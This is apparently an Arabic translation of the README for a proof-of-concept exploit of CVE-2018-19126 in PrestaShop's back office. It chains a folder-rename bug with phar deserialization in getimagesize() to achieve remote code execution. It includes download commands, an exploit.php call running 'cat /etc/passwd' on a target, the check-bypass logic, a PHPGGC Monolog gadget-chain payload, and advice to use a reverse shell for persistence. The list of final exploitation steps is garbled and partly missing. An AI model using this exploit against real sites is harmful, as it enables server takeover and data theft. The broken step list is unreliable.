
PrestaShop (1.6.x <= 1.6.1.23 أو 1.7.x <= 1.7.4.4) تنفيذ التعليمات البرمجية عن بُعد في لوحة الإدارة (CVE-2018-19126)
هذا هو إثبات المفهوم (PoC) لـ CVE-2018-19126، والذي يجمع ثغرات متعددة في الواجهة الخلفية لـ PrestaShop لإطلاق إلغاء التسلسل عبر phar لتحقيق تنفيذ التعليمات البرمجية عن بُعد.
المتطلبات الأساسية:

ملاحظات إصدار PrestaShop: http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/
رابط الحزمة المعرضة للثغرة: https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
لأغراض تعليمية فقط. لا تستخدم هذا السكربت في أنشطة غير قانونية. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر.
تحتاج إلى php مع امتداد curl وتعيين phar.readonly = Off في php.ini لتشغيل الاستغلال.
# Download repository
wget https://github.com/farisv/PrestaShop-CVE-2018-19126/archive/master.zip -O PrestaShop-CVE-2018-19126.zip
unzip PrestaShop-CVE-2018-19126.zip
cd PrestaShop-CVE-2018-19126-master
# Run the exploit
# Usage: php exploit.php back-office-url email password func param
php exploit.php http://127.0.0.1/admin-dev/ [email protected] 54l35m4n123 system 'cat /etc/passwd'
لاحظ أن دليل الرفع سيتم إعادة تسميته ولا يمكنك رفع ملف phar الخبيث مرة أخرى إذا لم تتم استعادة اسم المجلد. قد ترغب في تنفيذ صدفة عكسية للحصول على RCE دائم أو تضمين الأمر لإعادة تسمية المجلد مرة أخرى في حمولتك (تحتاج إلى معرفة المسار إلى دليل الرفع).
يمكننا تحقيق إلغاء التسلسل الضمني باستخدام phar wrapper عبر دالة getimagesize() في [back-office-path]/filemanager/ajax_calls.php.
case 'image_size':
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
$info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
echo json_encode($info);
}
نحتاج إلى إيجاد طريقة لاستدعاء getimagesize() مع عنوان phar wrapper كمعامل من خلال تجاوز بعض الفحوصات.
أول فحص باستخدام realpath() صارم جدًا.
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
متغير $upload_dir يأتي من config.php، ويُعيَّن افتراضيًا بـ $upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/';. لا يمكننا استخدام phar://[string] في $_POST['path'] لأن realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) سيعيد false لأنه غير موجود.
توجد ثغرة أخرى (CVE-2018-19125) تتيح للمستخدم حذف أو إعادة تسمية $upload_dir. إذا لم يكن دليل $upload_dir موجودًا، فسيعيد realpath(_PS_ROOT_DIR_.$upload_dir) القيمة false ويمكننا تجاوز هذا الفحص لأن realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) هو أيضًا false. تم اكتشاف هذه الثغرة أثناء مراجعة الكود عند محاولة إيجاد طريقة للتجاوز :).
باختصار، تسمح CVE-2018-19125 بأن يكون معامل path في استدعاء إجراء delete_folder أو rename_folder في execute.php فارغًا، وبالتالي سيحذف التطبيق أو يعيد تسمية $upload_dir بدلاً من ذلك.
الفحص الثاني بسيط، إذ يجب أن يحتوي $_POST['path'] على $upload_dir.
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
يمكننا فقط إلحاق /img/cms/ بعنوان phar بعد مسار ملف phar، لأنه إذا لم يكن الدليل موجودًا داخل أرشيف phar، فسيظل إلغاء التسلسل يحدث. سيقوم substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)) فقط باستبدال /img/cms/ بالمسار المطلق ($current_path) لذلك المجلد (مثل /var/www/html/img/cms/ إذا كان التطبيق مثبتًا في /var/www/html/).
نظرًا لأننا نستطيع التحكم في دالة getimagesize() لمعالجة عنوان phar wrapper، نحتاج إلى رفع ملف phar الخبيث إلى الخادم. افتراضيًا، يسمح FileManager في PrestaShop فقط بالامتدادات 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv', و 'webm'. يمكننا إنشاء الحمولة وحفظها بامتداد صالح. يمكننا استخدام سلاسل أدوات Monolog من PHPGGC (https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/) لأن PrestaShop يستخدمها.
خطوات الاستغلال النهائية:
image_size مع phar://../../img/renamed/phar.pdf/img/cms/ كمعامل path.سينفّذ سكربت exploit.php جميع الخطوات تلقائيًا.
تذكر أن دليل الرفع يُعاد تسميته في الخطوة 3 ولا يمكنك رفع ملف phar الخبيث مرة أخرى إذا لم تتم استعادة اسم المجلد. قد ترغب في استخدام صدفة عكسية كحمولة أو تضمين الأمر لإعادة تسمية المجلد مرة أخرى في الحمولة (تحتاج إلى معرفة المسار إلى دليل الرفع).